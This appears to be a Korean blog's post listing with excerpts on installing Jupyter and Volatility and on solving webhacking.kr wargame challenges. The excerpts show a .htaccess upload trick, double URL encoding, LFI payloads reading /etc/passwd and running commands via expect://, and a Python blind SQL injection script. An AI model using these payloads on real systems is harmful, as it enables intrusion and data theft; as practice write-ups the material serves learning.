본문 바로가기

전체 글345

windows10 jupyter notebook 설치 1. python 3.9 이상 버전 설치 2. (관리자 권한 cmd 실행 후) pip install jupyter 3. jupyter notebook or python -m notebook 로 실행 디렉터리 설정 (cmd 창에서) jupyter notebook --generate-config C:\Users\유저명\.jupyter\jupyter_notebook_config.py 가 생성될 것이다. 메모장으로 열어서 _dir 찾아서 #c.NotebookApp.notebook_dir= '' 수정 (수정 전) #c.NotebookApp.notebook_dir= '' ↓ (수정 후) c.NotebookApp.notebook_dir = '원하는 위치' 이때 주의할 점: C:\\User\\meanjung 이렇게 \.. 2021. 11. 4.
volatility 설치(windows, kali) windows10 standalone (비추) Volatility 2.6 Release (volatilityfoundation.org) Volatility 2.6 Release Volatility 2.6 - an advanced memory forensics framework www.volatilityfoundation.org chrome 안됨 edge에서 다운받음... standalone은 플러그인 추가하는게 불가능한지는 모르겠지만 일단 찾아보니까 안나와서 비추... ※ 주의 volatility > python2.7 volatility3 > python3 windows10 (추천) 1. python 2.7 설치 2. python2 -m pip --version [**] 나는 python3과 구분하기 위.. 2021. 11. 2.
webhacking.kr old 28번 (.htaccess) flag.php를 보면 빈 페이지이다. 파일을 올려보면 php가 실행되지 않고 그대로 출력된다. 이렇게 파일을 만들고 업로드한다. [**] .htaccess는 apache 설정파일 wappalyzer로 apache를 사용중임을 알 수 있다. 2021. 10. 26.
webhacking.kr old 26번 (url decode 2번) admin을 url encode할 수 있다. 구글에 치면 나오는 url encoder에 넣지 않고 바꿀 수 있는 방법이 있다. python> ord('a') = 97 = 0x61/ ord('d') = 100 = 0x64 ... admin -> %61%64... 와 같이 바꿀 수 있다. 그렇다면 admin = %61%64%6D%69%6E " 웹 서버와 브라우저 사이에서 데이터를 교환할 때, 브라우저는 폼에서 입력받은 데이터를 자동으로 인코딩한 값을 보내고 php는 자동으로 디코딩하기 때문 " 이라고 한다. 즉, 한 번 더 url encoding해서 ?id=에 넣으면 된다. %2561%2564%256D%2569%256E 2021. 10. 23.
webhacking.kr old 25번(php wrapper) wrapper란 - 실제 데이터의 앞에서 어떤 틀을 잡아주는 데이터 - 또는 다른 프로그램이 성공적으로 실행되도록 설정하는 프로그램 원래 php wrapper는 개발자들의 개발을 돕기 위해 만들어진 기능이지만 우린 이 기능을 사용한 LFI에 대해 알아본다. LFI하면 보편적으로 떠오르는 생각은 ?page=../../../etc/passwd/(널바이트) 여기서 널바이트는 주소 뒤에 붙을 확장자를 떼어주는 역할 그러나 php v5 이상이 되면서 path 중간에 null byte가 오면 더 이상 주소를 읽지않는 취약점이 사라졌다. 이 때문에 php wrapper를 사용해 LFI 공격을 수행해야 한다. 1. expect:// system command를 실행시켜 준다. ?page=expect://ls 같은 방식.. 2021. 10. 23.
webhacking.kr old 22번(blind sql injection) guest/guest로 join qwerty/qwerty로 join해도 해시 crack해보면 qwertyapple인 것을 알 수 있다. DB에 입력한 비밀번호+"apple"로 저장되는 듯 import requests i=1 while True: URL = f"https://webhacking.kr/challenge/bonus-2/" data = { "uuid" : f"admin' and length(pw)={i}#", "pw" : "asdf" } res = requests.post(URL, data=data) if "Wrong password!" in res.text: print(i) break i+=1 => 32 (길이) import requests pw="" for i in range(1, 33): .. 2021. 10. 23.